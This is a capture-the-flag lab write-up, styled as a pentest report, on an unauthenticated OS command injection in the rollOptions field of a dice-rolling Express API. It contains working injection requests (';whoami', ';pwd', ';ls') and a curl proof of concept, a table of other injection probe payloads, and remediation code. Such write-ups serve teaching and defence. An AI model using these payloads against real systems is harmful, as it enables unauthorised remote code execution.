BugForge — 2026.04.26

DiceForge: OS Command Injection on POST /api/roll

BugForge OS Command Injection easy

Part 1 - Pentest Report

Executive Summary

DiceForge is a small React + Express dice-rolling application for tabletop RPG players. It exposes a single API endpoint (POST /api/roll) with no authentication. The frontend hardcodes one of the request body fields, rollOptions, to the string "none" on every request, but the field still travels to the server unchanged.

Testing confirmed one critical finding that on its own captures the flag:

ID Title Severity CVSS CWE Endpoint
F1 Unauthenticated OS command injection on rollOptions field Critical 9.8 CWE-78 POST /api/roll

The rollOptions value is reflected into a shell command on the server. A semicolon in the value chains an attacker-supplied command onto the legitimate one, and the captured stdout is returned in an extra output field on the otherwise-normal JSON dice-roll response. The flag is delivered as the value of whoami: the container’s Linux user account name is itself the flag string.


Objective

Capture the lab flag hosted in BugForge’s “DiceForge” application by identifying the bug class on a single-endpoint API with no authentication surface.


Scope / Initial Access

# Target Application
URL: https://lab-1777244686707-kwcg4e.labs-app.bugforge.io

# Auth
None. No login, no session, no JWT, no cookies. Public endpoint.
CORS: Access-Control-Allow-Origin: * (open).

The application has no users, no accounts, and no persistence visible to the client. Roll history is stored in browser localStorage under the key diceforge_history.


Reconnaissance: One Endpoint, One Hardcoded Constant

The bundle (main.bf5c4d53.js, ~406 KB minified) was the entire client-side surface. Grepping for /api/ returned only /api/roll. Grepping for flag, bug{ and secret returned nothing: there is no client-side conditional that would render a flag string, so the flag must come from the server.

Observations that shaped the test plan:

  1. Only one API endpoint is referenced from the frontend: POST /api/roll.
  2. rollOptions is sent as a string body field on every request, with the value hardcoded to "none" by the React code.
  3. The response shape includes a notation string (e.g. "1d12 + 1d100") constructed from input values: a candidate sink for template injection or echo.
  4. No auth headers, no cookies. Anything reachable is reachable to anyone.
  5. X-Powered-By: Express is set, indicating a vanilla Node + Express stack.

Application Architecture

Component Detail
Backend Express (Node.js), X-Powered-By: Express
Frontend React (CRA build), axios for transport
Auth None
Database Not observable from the client; roll history is localStorage-only
CORS Access-Control-Allow-Origin: *

API Surface

Endpoint Method Auth Notes
/api/roll POST No Sole documented endpoint. Body: {dice: [{type, count}], rollOptions: "none"}
/api/stats GET No Hidden endpoint (not referenced in bundle). Returns global aggregate metadata. Not flag-bearing. See Failed Approaches.

Attack Chain Visualization

┌──────────────────────┐   ┌──────────────────────┐   ┌──────────────────────┐   ┌──────────────────────┐
│ POST /api/roll is    │   │ rollOptions hardcoded│   │ ;whoami in           │   │ Lab user account     │
│ the only API         │──▶│ to "none" by         │──▶│ rollOptions adds an  │──▶│ name IS the flag.    │
│ endpoint, no auth.   │   │ frontend, but ships  │   │ "output" field on    │   │ output: bug{xkN...}  │
│ Single JSON body.    │   │ on every request.    │   │ the JSON response.   │   │                      │
└──────────────────────┘   └──────────────────────┘   └──────────────────────┘   └──────────────────────┘

Findings

F1 - Unauthenticated OS Command Injection on rollOptions

Severity: Critical CVSS v3.1: 9.8 / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) Endpoint: POST /api/roll Authentication required: No

Description

The rollOptions field on POST /api/roll accepts arbitrary string content, including shell metacharacters. When a request is sent with rollOptions containing a semicolon followed by a shell command, the response includes an extra top-level output field containing the stdout of that command. The behavior is consistent with the field being concatenated into a shell command on the server side and run via /bin/bash (inferred from the observation that semicolons chain a second command but $(...) and backtick command substitution do not produce reflected output).

The frontend always sends "none" for this field, so under normal use the output field never appears and the bug is invisible from the UI alone.

Impact

Unauthenticated remote code execution on the server.

Reproduction

Step 1 - Establish baseline response shape

POST /api/roll HTTP/1.1
Host: lab-1777244686707-kwcg4e.labs-app.bugforge.io
Content-Type: application/json

{"dice":[{"type":"d20","count":1}],"rollOptions":"none"}

Response:

{
  "notation": "1d20",
  "results": [{"type":"d20","count":1,"rolls":[14],"subtotal":14}],
  "grandTotal": 14,
  "timestamp": "2026-04-26T..."
}

Standard four-key response. No output field.

Step 2 - Replace rollOptions with ;whoami

POST /api/roll HTTP/1.1
Host: lab-1777244686707-kwcg4e.labs-app.bugforge.io
Content-Type: application/json

{"dice":[{"type":"d20","count":1}],"rollOptions":";whoami"}

Response (truncated):

{
  "notation": "1d20",
  "results": [...],
  "grandTotal": ...,
  "timestamp": "...",
  "output": "bug{xkNsabE86poEQ7M2DMzsDEXhZuDqNgqh}\n"
}

A new top-level output key appears alongside the legitimate roll result. The lab’s container runs the application as a Linux user account whose username is the flag string itself, so whoami returns the flag.

curl -sS -X POST https://lab-1777244686707-kwcg4e.labs-app.bugforge.io/api/roll \
  -H 'Content-Type: application/json' \
  --data '{"dice":[{"type":"d20","count":1}],"rollOptions":";whoami"}'

Step 3 - Confirm scope of execution

POST /api/roll HTTP/1.1
Host: lab-1777244686707-kwcg4e.labs-app.bugforge.io
Content-Type: application/json

{"dice":[{"type":"d20","count":1}],"rollOptions":";pwd"}

Response includes "output": "/app\n". Listing the directory (;ls) returns Dockerfile, node_modules, package.json, package-lock.json, src. Most coreutils (echo, env, find) return command not found on this slim base image, but bash builtins and binaries provided by libc (such as whoami) work, which is why the flag-delivery mechanism functions on a stripped image.

Remediation

Fix 1: Remove the shell invocation entirely

The dice rolling is pure arithmetic and has no reason to invoke a child process. The most likely root cause is an abandoned or half-implemented preset feature. Replacing the shell call with native Node code closes the bug.

// BEFORE (vulnerable, inferred from observed behavior)
const { exec } = require('child_process');
exec(`some-roller ${rollOptions}`, (err, stdout) => {
  res.json({ ...rollResult, output: stdout });
});

// AFTER (no shell, no child process)
res.json(rollResult);

Fix 2: If a child process must remain, use the argv-array form

execFile and spawn with explicit argument arrays do not parse arguments through a shell. User-supplied values can never be interpreted as shell metacharacters.

// AFTER (if child process is genuinely required)
const { execFile } = require('child_process');
execFile('/usr/local/bin/some-roller', [rollOptions], (err, stdout) => { ... });

Fix 3: Allowlist the field at the route boundary

The intended values for rollOptions are a small enum (none, advantage, disadvantage, etc.). Reject anything else before it reaches any sink.

const VALID_OPTIONS = new Set(['none', 'advantage', 'disadvantage']);

if (!VALID_OPTIONS.has(req.body.rollOptions)) {
  return res.status(400).json({ error: 'invalid rollOptions' });
}

Additional recommendations:

  • Strip the output field from API responses entirely. There is no legitimate consumer for it on the client.
  • Add a request body schema validator (e.g. ajv, joi, zod) at the route level to reject unexpected types and unknown fields.
  • Run the Node process under a least-privilege OS user with no shell access, so even if a similar bug surfaces in another field the blast radius is contained.

OWASP Top 10 Coverage

  • A03:2021 - Injection: A user-controlled JSON body field is concatenated into an OS command and run through a shell, allowing arbitrary OS command execution from any unauthenticated client.

Tools Used

Tool Purpose
Caido Intercepting and modifying API requests during the value-class sweep
grep / strings Bundle inspection (route enumeration, flag-string search)

References


Part 2 - Notes / Knowledge

Key Learnings

  • Run SSTI and command injection probes against JSON body fields, not just URL parameters. The reflex from URL and query-string testing is to spray template syntax (${}, {{}}, <%= %>, #{}) and shell metacharacters (;, |, &&, backticks) at ?param= slots. JSON body fields get less reflexive coverage but reach the same handlers and the same shell, template, and SQL sinks on the server. On this engagement, the only API endpoint accepted JSON only, and the bug lived in a string body field that the frontend hardcoded to a constant. Treat every string field in a request body as a candidate for the same injection classes used on URL parameters.

Failed Approaches

Approach Result Why It Failed
43-value rollOptions enum sweep (D&D and cheat vocabulary: advantage, disadvantage, exploding, loaded, weighted, rigged, debug, verbose, etc.) Server silently accepts any string, no behavior change Field is not switched on by an enum table; only triggers on shell metacharacters
$(...) and backtick command substitution in rollOptions No output field reflected Likely consumed by Node template-literal expansion before reaching bash
SSTI on dice.type: ${7*7}, {{7*7}}, <%= 7*7 %>, #{7*7} Literal echo on the error-message path No template engine on that path
SQLi single-quote sweep on dice.type, rollOptions, dice.count Literal echo or silent acceptance No SQL backend reachable from the roll handler
Path traversal on dice.type, rollOptions Literal echo or silent acceptance No file lookup on those fields
CRLF / log injection on dice.type, rollOptions Express HTTP serialization escaped CRLF properly Headers are not constructed from these fields
XSS / HTML injection No rendering sink in any response API is JSON-only, history is localStorage-only client-side
NoSQL operator injection ({"$ne":null}, {"$where":"..."}) on rollOptions and count Silent acceptance or numeric validation rejection No Mongo-style query reaches these fields
XXE via Content-Type: application/xml swap 400, body parser is JSON-only No XML parser bound
HTTP Parameter Pollution (duplicate JSON keys) No observable behavior change JSON parser is last-key-wins, no second sink
Prototype pollution via __proto__, constructor.prototype extras Silently dropped No downstream sink reads from prototype
Verb tampering on /api/roll (GET, HEAD, PUT, PATCH, DELETE) GET and HEAD return SPA catchall, others 404 No alternate handler bound to the path
Mass-assignment of computed fields (subtotal, rolls, grandTotal, notation) on dice elements or top-level body Silently stripped, never reflected Server constructs results from inputs, not body
Hidden endpoint name guesses (/flag, /.env, /.git/config, /api/admin, /api/debug, /api/docs, etc.) All hit React SPA catchall (824-byte index.html) Filter results on Content-Type, not status code; only /api/stats was a real handler
/api/stats info disclosure (global totals and recent activity from other users) Returns 200 with aggregate metadata; not flag-bearing Likely intended-but-undocumented; deprioritized once F1 landed

Tags: #command-injection #rce #bugforge #webapp #express #node #json-body-injection Document Version: 1.0 Last Updated: 2026-04-27

#command-injection #rce #bugforge #webapp #express #node #json-body-injection